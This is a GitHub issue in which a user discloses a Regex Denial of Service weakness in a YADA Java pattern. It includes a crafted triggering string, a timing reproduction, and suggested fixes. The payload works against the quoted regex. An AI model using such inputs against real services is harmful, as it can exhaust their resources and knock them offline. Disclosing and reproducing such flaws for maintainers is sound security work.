Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerable Regular Expressions in YADA #118

Open
yetingli opened this issue Sep 19, 2020 · 0 comments
Open

Vulnerable Regular Expressions in YADA #118

yetingli opened this issue Sep 19, 2020 · 0 comments

Comments

@yetingli
Copy link

Type of Issue
Potential Regex Denial of Service (ReDoS)

Description
The vulnerable regular expression is located in

protected final static Pattern H_FIELDS_RX = Pattern.compile("##(INFO|FILTER|FORMAT|ALT)=<((ID|Number|Type|Description)=(\"?.*\"?))+>");

The regex can be exploited with the following string
##INFO=<ID=ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="ID="!

You can execute the following code to reproduce ReDos

        String pattern = "##(INFO|FILTER|FORMAT|ALT)=<((ID|Number|Type|Description)=(\"?.*\"?))+>";
        String content = "##INFO=<ID=ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"ID=\"!";



        long startTime=System.currentTimeMillis(); 

        Pattern.matches(pattern, content);
        long endTime=System.currentTimeMillis(); 
        System.out.println((endTime-startTime)+"ms");

I am willing to suggest that you limit the input length, modify the regex or replace the regex with other codes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant